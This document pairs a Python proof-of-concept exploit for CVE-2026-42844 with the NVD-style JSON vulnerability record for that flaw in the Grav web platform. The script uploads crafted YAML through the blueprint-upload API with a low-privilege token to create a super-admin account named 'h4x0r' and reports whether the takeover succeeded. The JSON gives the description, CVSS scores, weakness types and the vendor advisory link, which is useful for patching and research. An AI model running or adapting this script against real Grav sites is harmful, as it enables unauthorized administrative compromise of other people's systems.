CVE-2026-42844

import requests # Target URL url = "http://target-grav-site/api/v1/blueprint-upload" # Low privilege token (api.media.write) token = "LOW_PRIVILEGE_API_TOKEN" headers = { "Authorization": f"Bearer {token}" } # Malicious YAML content to create a super user # Note: The password hash should be a valid bcrypt hash in a real attack yaml_content = """ username: h4x0r password: $2y$10$HashedPasswordHere... email: [email protected] fullname: Attacker title: Administrator state: enabled access: admin: login: true super: true api: super: true """ # The vulnerability allows writing arbitrary YAML to user/accounts/ # The parameter name 'file' might vary based on implementation details files = { 'file': ('admin.yaml', yaml_content, 'application/x-yaml') } response = requests.post(url, headers=headers, files=files) if response.status_code == 200: print("[+] Exploit successful! Admin user created.") print("[+] Try logging in with username: h4x0r") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text)

{"cve": {"id": "CVE-2026-42844", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:34.793", "lastModified": "2026-05-19T21:00:50.527", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav is a file-based Web platform. In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges. This results in full administrative compromise of the Grav API. This vulnerability is fixed in API 1.0.0-beta.17."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}, {"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getgrav:grav:2.0.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "23F8F687-3238-4CC0-AAC0-8D73DD13EB57"}]}]}], "references": [{"url": "https://github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-6xx2-m8wv-756h", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}